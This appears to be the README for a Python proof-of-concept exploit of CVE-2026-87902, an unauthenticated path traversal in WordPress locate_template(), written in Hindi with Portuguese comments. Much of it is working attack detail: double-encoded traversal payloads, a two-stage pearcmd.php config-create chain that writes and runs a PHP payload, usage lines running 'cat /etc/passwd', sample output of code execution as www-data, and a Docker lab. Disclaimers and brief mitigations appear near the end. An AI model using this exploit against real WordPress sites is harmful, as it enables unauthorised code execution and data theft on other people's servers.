Python PoC जो CVE-2026-87902 का उपयोग करता है, जो WordPress locate_template() में एक unauthenticated path traversal है जिससे LFI और PEAR-आधारित RCE होता है, साथ में safe detection mode भी है।
Exploit फ़ाइल: exploit_locate_template_rce.py —
Python 3.6+ (केवल stdlib)।
एक ही कमांड में पाइपलाइन: सुरक्षित डिटेक्शन (LFI डिफ़रेंशियल, बिना लेखन) →,
यदि vulnerable हो, तो RCE pearcmd.php gadget के माध्यम से आपकी चुनी हुई कमांड
चलाते हुए (--command/-c)। लेखन-चरण से पहले रोकने के लिए --validate-only का उपयोग करें।
यह WordPress के उन वर्शनों पर CVE-2026-87902 का परीक्षण करता है जिनमें
commit 5fde0bb7 का fix नहीं है — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports 4.7.37 तक)।
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| प्रभावित | WordPress 4.7.0 – 7.1.1 (सभी branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792 का merge) |
| फ़ाइलें | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| ऑथेंटिकेशन | कोई नहीं — कोई उपयोगकर्ता, cookie, nonce या plugin नहीं |
| श्रेय | खोज और disclosure: Robert Ressl |
⚠️ केवल अधिकृत परीक्षण के लिए। उन वातावरणों में उपयोग करें जिन्हें आप नियंत्रित करते हैं (नीचे दिया गया lab isolated है) या मालिक की स्पष्ट अनुमति के साथ।
बिना fix वाले वर्शनों में, get_page_template() → locate_template() →
template-loader की श्रृंखला कभी यह सुनिश्चित नहीं करती कि चुना गया template theme के भीतर ही रहे।
Pre-fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename और page_id सार्वजनिक query vars हैं — जो अनाम POST के body में स्वीकार किए जाते हैं।
POST मेथड redirect_canonical() (canonical.php) को जल्दी return करा देता है — यह केवल
GET/HEAD पर कार्य करता है, इसलिए कुछ भी redirect नहीं होता।templates%252f%252e%252e%252f...) और sanitize से बच निकलता है:
WP_Query::get_posts() (l.2191) pagename को
sanitize_title_for_query( wp_basename( ... ) ) से फिर से लिखता है — wp_basename() %2F पर नहीं टूटता
(formatting.php l.5768) और sanitize %XX octets को सुरक्षित रखता है (l.2395)।page_id (l.2252) WHERE को overwrite करता है ("$where =", न कि ".=") — वास्तविक पेज
लोड होता है, 404 नहीं, और दुर्भावनापूर्ण pagename query object में बना रहता है।get_page_template() देर से urldecode() करता है और page-<traversal>.php बनाता है
बिना validate_file() के।locate_template() केवल file_exists() कॉल करता है → include theme से बाहर निकल जाता है।| # | पूर्वापेक्षा | कारण |
|---|---|---|
| 1 | प्रकाशित पेज, अनाम रूप से सुलभ, page_id से चयननीय और बिना custom template | अनुरोध को एक Page पर resolve होना चाहिए; custom template hierarchy में पहले आ जाता |
| 2 | सक्रिय theme (child या parent) में top-level डायरेक्टरी जो page- से शुरू हो (जैसे page-templates/) | WP निश्चित prefix page- जोड़ता है; इसी से traversal प्रवेश करता है। इसका होना और traversable होना पर्याप्त है (खाली भी हो सकती है)। Twenty Twelve/Fourteen, Neve, Hestia, Sydney में मौजूद |
| 3 | मौजूद और पठनीय स्थानीय .php लक्ष्य | Loader .php जोड़ता है और is_file()/is_readable() जाँचता है |
| 4 | (केवल RCE के लिए) पठनीय pearcmd.php + register_argc_argv=On + लिखने योग्य डायरेक्टरी (जैसे /tmp) | PEAR→RCE मार्ग: config-create सर्वर पर PHP payload लिखता है |
प्रकाशित पेज के विरुद्ध तीन अनाम POST — डिस्क पर कोई लेखन नहीं:
| अनुरोध | pagename | अपेक्षित प्रतिक्रिया (vulnerable) |
|---|---|---|
| A — baseline | — | 200, सामान्य body (~23 KB) |
| B — नियंत्रण | traversal → अनुपस्थित फ़ाइल | 200, सामान्य body (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 खाली body के साथ |
हस्ताक्षर: C खाली + A/B सामान्य ⇒ include theme से बाहर निकला ⇒ VULNERABLE।
डिटेक्शन स्वतः स्कैन करता है: उम्मीदवार theme डायरेक्टरियाँ
(page-templates, page-template) × गहराई 1–12।
परिणाम (theme-dir + depth) RCE चरण को feed करता है।
--validate-only के साथ स्क्रिप्ट यहीं रुक जाती है (vulnerable होने पर exit 0)।
pearcmd.php के माध्यम से RCE (लेखन)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ traversal /usr/local/lib/php/pearcmd.php को include करता है
→ argv कच्ची query string से आता है (register_argc_argv=On)
→ config-create payload को /tmp/wp-pear-rce.php में लिखता है (12 serialized प्रतियाँ)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ वही traversal उत्पन्न फ़ाइल को include करता है → system(<--command>) www-data के रूप में चलता है
फ़ॉर्मेट विवरण (सभी प्रतिबंध स्क्रिप्ट द्वारा संभाले जाते हैं):
page_id + pagename होते हैं; query string में
केवल PEAR का argv होता है (?+config-create+<root>+<out>)।wp_magic_quotes() (load.php l.1290)
add_magic_quotes($_SERVER) लागू करता है और pearcmd argv को $_SERVER['argv'] से पढ़ता है — कोई भी
quote \' बन जाता और उत्पन्न फ़ाइल को तोड़ देता। हर PHP string chr() concatenation बन जाती है:
'/tmp' → chr(47).chr(116).chr(109).chr(112)।http.client): query string के कच्चे बाइट्स +, <, >
ही argv हैं — रास्ते में कुछ भी re-write/re-encode नहीं हो सकता।config-create को absolute root path चाहिए — payload को ही root के रूप में inject किया जाता है
(/<php>), जिसके आगे ___WP_RCE_OK___ मार्कर लगा होता है जो आउटपुट को सीमांकित करता है।pearcmd.php के कई पथ (आधिकारिक Docker, Debian/Ubuntu, XAMPP) — आवश्यकता हो तो
--pear-path/--output से समायोजित करें।कोई "upload" नहीं है: डिटेक्शन का लक्ष्य वह फ़ाइल है जो हर WordPress फ़ैक्ट्री से लाता है
(wp-content/index.php); RCE का payload सर्वर स्वयं लिखता है PEAR gadget के माध्यम से,
www-data के रूप में चलते हुए।
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| पैरामीटर | Default | विवरण |
|---|---|---|
--url, -u | (अनिवार्य) | WordPress का base URL |
--command, -c | id | लक्ष्य पर चलाई जाने वाली shell कमांड (--validate-only के साथ अनदेखी) |
--validate-only | off | केवल भेद्यता की पुष्टि (LFI, RCE/लेखन से पहले रुकता है) |
--page-id | auto (REST, fallback probe) | बिना custom template वाले प्रकाशित पेज की ID |
--theme-dir | page-templates, page-template प्रयास करता है | theme की top-level डायरेक्टरी जो page- से शुरू हो |
--probe-target | index | डिटेक्शन probe का लक्ष्य, बिना .php (index → wp-content/index.php) |
--depth | 0 (1–12 स्कैन करता है) | ../ segments की संख्या |
--pear-path | आंतरिक सूची प्रयास करता है | RCE चरण का pearcmd.php, बिना .php (Docker, Debian, XAMPP) |
--output | /tmp/wp-pear-rce | PEAR payload का लिखने योग्य गंतव्य, बिना .php |
--timeout | 20 | प्रति अनुरोध timeout (s) |
--insecure | off | TLS प्रमाणपत्र सत्यापित न करें |
--verbose | off | प्रति-प्रयास विस्तृत आउटपुट |
[*] alvo : http://127.0.0.1:8080
[*] comando : 'id'
[*] versão WP : 7.1.1 (<= 7.1.1 => potencialmente afetada)
[*] page id : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir : page-templates
[+] depth : 3
[+] traversal : page-templates/../../../index.php
[+] VULNERÁVEL : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo : RCE (2 estágios via pearcmd.php)
[+] theme dir : page-templates
[+] depth : 7
[+] pearcmd : /usr/local/lib/php/pearcmd.php
[+] payload file : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando : 'id'
[+] saída :
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web
Exit कोड: 0 = सफलतापूर्वक validated/RCE · 1 = अपुष्ट/विफल ·
2 = त्रुटि (जैसे कोई प्रकाशित पेज नहीं मिला)। यह regression check के रूप में काम करता है:
WordPress ≥ 7.1.2 पर probe कभी खाली नहीं होता और 1 return करता है।
प्रयुक्त lab: docker-compose.yml।
services:
db:
image: mariadb:11
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wp_user
MYSQL_PASSWORD: wp_pass
MYSQL_ROOT_PASSWORD: root_pass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:7.1.1-php8.3-apache # PINADA — a rolling baixa 7.1.2+ (patcheada!)
depends_on:
- db
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp_user
WORDPRESS_DB_PASSWORD: wp_pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
# fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
- ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates
volumes:
db_data:
wp_data:
docker compose up -d
# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
-e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
-e WORDPRESS_DB_NAME=wordpress `
wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
--admin_user=admin --admin_password=adminadmin [email protected] --skip-email
# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"
# Teardown
docker compose down -v
प्रत्येक भाग क्यों महत्वपूर्ण है:
7.1.1-php8.3: < 7.1.2 और php8.3 होना चाहिए — PHP 8.5 में,
HTTP SAPI पर register_argc_argv default Off हो जाता है और PEAR वितरण से हट गया है,
इसलिए RCE चरण काम नहीं करता (LFI डिटेक्शन काम करता है)।wordpress:php8.3-apache आज 7.1.2+ (patched) डाउनलोड करता है और
exploit सही ढंग से विफल होता है।wp_data volume core को बनाए रखता है; tag बदलने के लिए
docker compose down -v आवश्यक है ताकि entrypoint नई इमेज की फ़ाइलें फिर से कॉपी करे।page-templates/ (fixture): default themes (Twenty Twenty-*) में page-* डायरेक्टरी
नहीं होती — इसके बिना निश्चित prefix page- कभी resolve नहीं होता और कोई depth काम नहीं करती।
bind mount का विकल्प: command: > के साथ
sh -c "mkdir -p .../page-templates && exec apache2-foreground"।register_argc_argv=On: आधिकारिक इमेज web php.ini लोड नहीं करती, इसलिए compiled
default लागू होता है (php8.3 पर On)। जाँचें: docker exec <c> php -i | grep argc।page-templates/ → 3×.. → wp-content/);
PEAR 7 पर सही होता है (→ / → /usr/local/lib/php/pearcmd.php)।page-* नहीं, custom template वाला page,
open_basedir, traversal को block करने वाला WAF/proxy, अमान्य page_id)।register_argc_argv=Off; production में पठनीय pearcmd.php हटाएँ; themes में top-level
page-* डायरेक्टरियों का audit करें; logs में %252f/%252e (दोहरा-एन्कोडेड) वाले
pagename पर alert करें।.php
LFI का लक्ष्य हो सकता है (--probe-target से डिटेक्शन)।5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792यह सामग्री केवल अधिकृत सुरक्षा अनुसंधान और परीक्षण के लिए प्रदान की गई है। मालिक की स्पष्ट अनुमति के बिना सिस्टमों के विरुद्ध इसका उपयोग अवैध है। Exploit को विशेष रूप से isolated स्थानीय प्रयोगशाला में विकसित और सत्यापित किया गया है।